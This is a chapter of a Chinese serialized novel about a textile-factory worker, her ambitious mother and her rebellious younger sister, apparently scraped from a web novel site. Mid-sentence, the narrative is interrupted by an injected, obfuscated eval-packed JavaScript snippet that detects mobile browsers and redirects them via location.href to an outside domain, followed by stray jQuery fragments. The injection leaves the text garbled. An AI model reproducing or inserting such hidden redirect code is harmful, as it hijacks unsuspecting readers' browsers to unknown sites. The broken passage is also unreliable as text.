多年后众人重新回忆,才感知到命运的跌宕起伏就是在这个夏天拉开序幕的。
而现在,所有人都懵懵懂懂按着命运的丝线向前编织。
干练精瘦的妇人有些不放心的再三确认:“香梅,你想好了吗?这个男娃我让人打探过了,他人还是不错的,就是他家里人可能没那么好相处,你要不再想想我也帮你找找有没有合适的对象?”
卷发姑娘有些腼腆的点点头,主动挽起李春红的胳膊两人并排走下楼梯,小声回答道:“主任,我家什么情况你也听说过,我自己工作也还没个定数,像我这样的条件我不奢望找个多有本事的,我只想找个相互尊重能聊的来的对象就满足了。”
说到到此,李春红也不好太干预过头了,她一边注意脚下的阶梯一边往回找话:“我看他也是个知道为你着想的,特意请我做介绍人确定你们的关系,就是你要不要通知你舅妈也来一下。”
“师傅~”赵香梅难得露出小女儿娇态耍着赖“八字还没一撇呢,别告诉我舅妈,真成了我妈会告诉她的。”
李春红想想也是,又总感当这个恋爱介绍人心里没底,打定主意过后还是和陈红妹提一句吧。
风纪办公室,大白墙上挂着各种建设现代化产业口号和红色生产安全标语,一排长木桌上几个白色瓷杯和两壶保温瓶,桌子两边都坐着……好些熟人。李双霜殷勤的跑上跑下给两边几个人都倒了茶,心里激动的在想怎么榨高大景一顿大餐作为报酬。七八个人纷纷入座,双方带头人都是老江湖,一张口就是十八年的功力。
“李主任,你来了啊。”
“诶诶,孙主任不好意思久等了,这些都是你们电机厂这两年的新员工吧,看着都是精神抖擞的大小伙子。”
“是啊,哎呀我们两个厂好久没组织共同学习了,让他们这些年轻人见见面相互学习认识一下,嘿嘿嘿,你们纺织厂的金花一朵朵可比我们这些臭小伙子好多,多少单位都想和你们开学习研讨会……”
窗外,两只喜鹊在枝头嬉戏,灵活的身影在草木间跳跃欢腾,留下清脆的鸣叫和颤动树枝下摇摆的斑驳光芒。几只麻雀好奇的停在枝头蹦蹦跳跳,歪头看着窗内的几个人类在干什么,随后又被房间内高昂的笑声惊住,叽叽喳喳飞往下一棵大树。
扫盲班结业考试也在夏日最炙热的时刻迎来结尾,拿到高级班结业证的学生再也不用每天晚上心惊胆战来上课,拿到毕业证书后大家都开始忙着处理工作问题。
————————————
心情沉重的卷发姑娘打开家门,惊讶看着地上的玻璃杯碎片以及被踹倒在地的木椅子,她愣了一下绕开地上狼藉,走到妹妹房间门前询问发生什么事。
赵艳芳正在镜子前喜上眉梢试着一款黄铜花型胸针,照着镜子左看右看,一边抽空轻描淡写的回答:“哦,下午我回来的时候看见丁老头和妈妈吵架了,两人气的摔了东西,妈妈情绪不好回房间了。”
赵香梅听着妹妹无所谓的语调有些生气,咬咬牙还是忍下来了,她站在房门口情绪不佳的追问:“妈妈生气了你不去安慰一下她吗?再说你这个胸针哪来的,看上去就不便宜。”
家人略带责问的口气浇熄了少女欢快的心情,她不满的瞪了一眼自己姐姐,转身扯下胸针放在书桌上,一屁股坐在床上语气不善的说道:“一个个莫名其妙冲我发火干什么?再说有什么好安慰的,少了个丁老头再找另一个老头不就得了。我的胸针哪来的?我不偷不抢别人送的不可以吗?”
赵香梅心中本就烦躁的怒火眼看就要越烧越旺,她攥起拳头强压下去,不想和妹妹再发生争执,转身两步快走到妈妈房间门口,抬手敲门的时候恍惚觉得门上贴着的喜字居然开始褪色了。
卷发姑娘得到首肯后轻步进了唐钟芳的卧室,入眼就是昏暗的灯光下那一床暧昧的淡紫色薄纱帐,淡淡的熏香在鼻尖似有似无流过。
宽大的床上,唐钟芳穿着宽松的条文睡睡裙斜靠在床头,脸上并无太大表情活动,此时她正眯着眼细看这手上的纸,许是嫌弃灯光不够亮她又打开了床头台灯,在足够的光线下平日保养再好的脸也开始显露浅浅的黄褐斑和细纹,另添加遮掩不住的疲态。
妇人看着手上的纸无奈的摇摇头,招呼自己女儿过来说话,“香梅,今天工作怎么样?厂里这么说?”
赵香梅强抬笑意到嘴角,拿了张小板凳坐在床边,她知道今天家里的事后心疼自己母亲,有点不想开口再说坏消息。可惜脸上的小心思被一眼识破。
卷发姑娘握着自己妈妈的手,有些为难道:“妈妈,厂里说没办法给我们转正了。上面下了红头文件让纺织厂先暂停一切社会招聘,先以学校分配和知青就业为主。”
唐钟芳绝望的闭上眼睛,下午连着两件不顺利的事情让她气恼不已,她用力锤了一拳床板,胸中的闷气上下翻滚竟让她喉咙一腥。
赵香梅连忙起身扶着自己妈妈,焦急安抚着:“妈妈,你没事吧,这事你不用担心。农场和林场、卷烟厂都在招工人,我可以去那边上班的。”
“这怎么可以。”妇人严厉瞪了自己孩子一眼,“那些都是苦力重活还都在乡下,你一个女孩子去这种地方出了事都没人知道。这事都怪我,丁老头要是能和我结婚,你就可以名正言顺顶他工作岗位解决工作问题。他老婆怎么就不死呢!”
赵香梅下的心脏突突跳,她白着脸拉着自己母亲,这几年来每次说到丁叔叔老婆的事她都觉得良心不安,偶尔还会被妹妹说自己伪善,可她心里真的怕这个世界有天道轮回。
“妈妈,其实我们大可不必靠着丁叔叔生活,哪个叔叔都可以不靠。现在市场开放了,那么多妇女上街摆摊养活自己,妹妹直升高中只等安稳成年,我已经学会门手艺帮人裁剪衣服总饿不死自己,而妈妈你有没有想过,你见识广能说两三种语言,又会算账又会交际,为什么不想着我们自己建门户呢?”
妇人皱眉轻揉自己的太阳穴,心里有些高兴女儿长大了,开口道:“你长大了,可还不够成熟。你说的这些难道妈妈没想过吗?自立门户赚钱有这么容易吗,这不是在写小说一切事情发展围着你转,没有人罩着你,你连卖个豆腐都会被人捏死。不过你也说对了一部分,”在橙黄色灯光下妇人细细看着自己的孩子,倍感欣慰,“我们的确不应该只指望一个人,也是时候为自己打算了。”
妇人翻身慢慢起身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497985|169054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屐着拖鞋走到衣帽架前翻着自己的皮包,拿出一沓资料递过去给女儿看。赵香梅细细一翻看,竟是两份购买商铺产权合同和几张北湖市场招租告示。
卷发姑娘了然道:“妈妈,丁叔叔愿意买铺面给你?”
“哼,我让丁老头把现在这套房转给我,他说这套房子在夫妻名下转不了。什么都没有,那我跟着他干什么,就冲他一个月给我100元工资?”唐钟芳冷笑几声,指了指购买合同上的字,“以前的资产分不开,那就让他现买几个铺面给我吧。我薅了他一笔大的又把自己老底填了进去,可我想了想不能直接写我的名字,以后的事说不清楚怎么发展。你准备好你的身份证和户口本给我,外面人都知道你是他的干女儿,以后要追究也难追究。我们拿着铺面想开店也可以试试,转手租出去也可以。”
两母女粗聊了一会未来规划,再次出房门的时候,一眼就看见了还留在大厅中间的一片狼藉。妇人的脸色立马沉了下来,不满意的看向小女儿卧室门口,好一会后两母女才弯腰收拾起了大厅。
“罢了,终究算我们欠她的。”
————————
唐钟芳是个行动力很强的女性,更是家里的主心骨,当周休假的时候她就先去找了陈红妹商量大女儿工作动向。两个女人一合计就决定两手都要做准备,既要接着走动看是否能成功转正,也要考虑是否用手上的资源开店。
旋转拧开的绿色铸铁水龙头哗啦啦流出凉爽的清水,唐钟芳弯腰掬起一捧把脑袋埋了下去,随即抹去一脸的尘土和思绪。她拾起自己的毛巾小心擦拭干净脸色的水珠,又用珍珠膏轻轻滚一圈,最后用上百货大楼购买的高档粉饼和口红小心点缀自己不年轻的脸庞,一番收拾下来,脸色的衰老疲惫被光鲜亮丽覆盖,唐钟芳又带上了自己的盔甲。
美妇人踱步回到自己房间,带上早就准备好的一封红包以及一条红双喜准备出门,转身在大厅看到了正在梳妆打扮的小女儿,顿时面露不喜,用手隔空点着女儿的头说:“你才16岁,把重心放在学习和才艺培养上吧,我不拦着你不代表我不知道你最近简直无法无天。”
赵艳芳一脸不服气,手上的编发动作也没停下,少女的曼妙身姿在特别设计过的裙摆下愈发显眼,白嫩的瓜子脸上那双含情眼顾盼生辉,她娇嗔道:“妈妈,人家刚刚结识几个漂亮小姐妹,大家都是这么打扮的,无袖体恤和牛仔裤都有,是你太老古板了。”
“这边谁家正经姑娘这么打扮?你这领口给我缝上。”唐钟芳有点着急了,“我从小让你金枝玉叶的长大,养出你那身冷傲的气质和见多识广的眼界,你可不要和什么来历不明的人玩一起。”
妇人抱怨了几句,抬头看了一眼闹钟发现时间来不及了,跺跺脚补充道:“我对你们两姐妹的要求和期待不一样,你姐姐能衣食无忧我就放心了,至于你怎么也不能浪费全家十几年的培养,等我晚点回来再和你说!”
语毕,唐钟芳匆匆出门办事。
屋内的少女失神的看着镜子的自己,手上动作依旧不停的卷着头发,她吸了吸鼻子扬起了头,空荡的房间内只有她一个人的喃喃自语。
“我连穿好看点都不行了吗?”